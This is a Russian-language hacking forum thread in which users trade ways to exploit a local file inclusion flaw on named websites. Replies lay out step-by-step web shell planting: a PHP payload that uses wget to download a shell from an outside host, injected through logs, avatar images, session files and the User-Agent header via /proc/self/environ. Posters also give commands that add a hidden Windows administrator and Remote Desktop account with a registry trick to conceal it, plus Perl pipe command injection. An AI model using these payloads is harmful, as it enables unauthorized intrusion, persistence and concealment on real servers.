Смотрите есть сайт с PHP-inj http://site.ru/module/index.php?p=index Ну понятно что в $_GET[p] и переносится путь до файла. Если указываю не верный путь то пишет что фаил не найден, значит стоит проверка на то есть ли фаил... Открыл config.php начего не написалось так как нет вывода... Также есть форум на vBulletin ну попробовал открыть индекс ../forum/index мне написалось что пути до конфгов не найдены и уже видел еррор, тоесть ошибки не отключены Из ошибки видно что апач стоит на винде... попытки загрузить внешку типо PHP: http://site.ru/module/index.php?p=http://forum.antichat.ru/newreply Закнончились неудачей типо фаил не найден, FTP метод тож не прошёл... Подскажите что можно сделать? Может так как система на винде, можно чтолить интересного накопать? Хотя не могу оборвать расширение которое присваевается (.php)
Spyder, я от нечего делать рассписал эти методы залития шелла через LFI. Скорее всего директива allow_url_include = off. Т.е. проинклюдить удаленно не удастся. Вариант #0. Можно инклюдить логи, но надо знать путь к ним. Есть специальная тема со списком путей к httpd.conf. Не нашёл пути - пропускай этот пункт. Там есть директива TransferLog, в которой находится абсолютный путь к логам. Открой Code: index.php?<?php system('wget http://mysite.ru/shell.txt -O shell.php');?> После этого в лог-файл запишется PHP код, тебе останется только проинклюдить лог-файл. Вариант #1. Создай картинку, впиши в конец файла <?php system('wget http://mysite.ru/shell.txt -O shell.php');?>, только не блокнотом, а любым хекс-редактором. Реганись на форуме, залей себе эту картинку в кач-ве аватары, или фотки, etc. Потом инклюдь эту картинку Code: http://site.ru/module/index.php?p=../forum/avatars/avatar28082.gif И открывай файлик shell. Вариант #2. Допустим, на сайте есть код, вида PHP: session_start(); $_SESSION['id']=$_GET['value']; Тогда открывай Code: file.php?value=<?php system('wget http://mysite.ru/shell.txt -O shell.php');?> Дальше в куки сайта смотри PHPSESSID и инклюдь Code: /tmp/sess_PHPSESSID Путь к сохраниению сессий может быть иной... Вариант #3. Еще есть вариант с /proc/self/environ. Если проинклюдив его, ты получаешь что-то вида Code: DOCUMENT_ROOT=/var/www GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.site.ru/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?p=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/var/www SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.site.ru SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.site.ru Port 80 Считай, что шелл у тебя есть. Используй любую HTTP-тулзу, н.п. InetCrack и измени отправляемый заголовк User-Agent на <?php system('wget http://mysite.ru/shell.txt -O shell.php');?>. ЗЫ: system() может не работать, используй exec(); wget может не работать, используй lynx, fetch, curl...
net user user pass /add net localgroup Administrators user /add net localgroup "Remote Desktop Users" user /add net accounts /maxpwage:unlimited
А для того, чтобы не запалили, надо сделать в реестре такую фичу: HKLM/SOFTWARE/Microsoft/Windows NT/Current Version/Winlogon/SpecialAccounts/Userlist/ Создаёшь там параметр с типом REG_DWORD, именем своего юзера и значением 0.
Задаюсь я этим вопросом уже не впервый раз =\ Я проинклюдил /proc/self/environ, но инклюдящий файл не PHP, a CGI. PHP команды, разумеется, не пашут, так что же можно сделать? //Как я понял мне нужен аналог system'a на perl'e, но может я не прав.
все зависит от того на каком языке написана cgi для перла так же не факт что они там вообще eval-ятся.
geezer.code Но как обрамить код и прочее? Т.е. можешь привести пример (User-Agent: blablabla), а мне сейчас негде проверить, т.к. на этом сайте была просто читалка, но встречал такое очень часто.
я не перл-программер. бегло пробежался по гуглу. и поспрошал на канале у знатоков. Перл не страдает таким извращением как пхп, и без "особых условий" LFI как в пхп, провести нельзя.
Есть инклюд Code: http://www.lauralee.com/index.cgi?page=../../../../../../../proc/self/environ%00 При подмене заголовка User-Agent, в сорсах Т.е. PHP-код не интерпретируется. Можно ли, и если да, то как, обойти это?
mailbrush http://www.lauralee.com/index.cgi?page=./index.cgi%00 У меня с перлом хреново, но PHP код там точно исполняться не будет, можешь быть уверен И инклуд тут тоже абсолютно непричём
о_О, точно, спасибо Вообще как-то не обратил внимания на расширение .cgi. ЗЫ: А предыдущий вопрос от Tigger'a был точно такой же
выполнение PERL-кода ты получишь только если переменная попадет в do или eval, но такого почти никогда не бывает. Если используется open то иногда можно выполнять системные команды или писать в файлы в случае mailbrush в коде index.cgi было так: Code: open (PAGE, "< $page"); знак '<' обозначает открыть файл для чтения, то есть уязвимость - простая читалка файлов. если бы было так: Code: open (PAGE, $page); то тут уже можно выполнять команды, примерно так: ?page=| ls -la знак конвеера - запустить команду, знак '>' - открыть для записи.